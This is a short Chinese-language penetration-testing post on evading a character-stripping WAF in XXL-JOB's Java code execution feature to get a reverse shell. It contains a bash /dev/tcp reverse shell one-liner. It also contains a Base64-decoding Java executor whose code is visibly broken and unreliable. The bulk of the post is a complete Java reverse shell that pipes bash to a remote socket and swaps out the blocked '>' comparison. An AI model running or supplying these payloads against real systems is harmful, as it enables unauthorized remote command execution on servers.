起因
最近在渗透测试的过程中遇到了一种特别的WAF。
在XXL-JOB的分布式任务管理项目,功能中支持自定义的Java代码进行执行,但是这个代码执行功能有一个很恶心的WAF功能,他会删除<后面的所有东西,还会删除>前面的所有东西。
问题
众所周知,绝大部分的反弹shell的代码中是包含了<>这两个符号的。
例如:bash -i >& /dev/tcp/192.168.0.1/4444 0>&1
这也就导致了通过常规的反弹Shell语句变为不可能。
这里就想到了两个思路来进行反弹Shell。
编码
对Payload进行编码,使用base64进行加密之后,在执行时对其进行解密,从而绕过WAF。
public class shell {
public static void main(String[] args) {
Process p;
try {
final Base64.Decoder decoder = Base64.getDecoder(new String(decoder.decode(command), "UTF-8"));
p = Runtime.getRuntime().exec();
p.waitFor();
p.destroy();
} catch (Exception e) {}
}
}
使用不包含屏蔽字符的Payload
public void execute() throws Exception {
String host = "192.168.0.1";
int port = 4444;
String cmd = "bash";
try {
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s = new Socket(host, port);
InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();
while (!s.isClosed()) {
while (bq(pi.available(), 0))
so.write(pi.read());
while (bq(pe.available(), 0))
so.write(pe.read());
while (bq(si.available(), 0))
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
} catch (Exception e) {}
}
public static boolean bq(int a, int b){
if (a != b) {
return (a - b) / Math.abs(a - b) == 1;
}
else return false;
}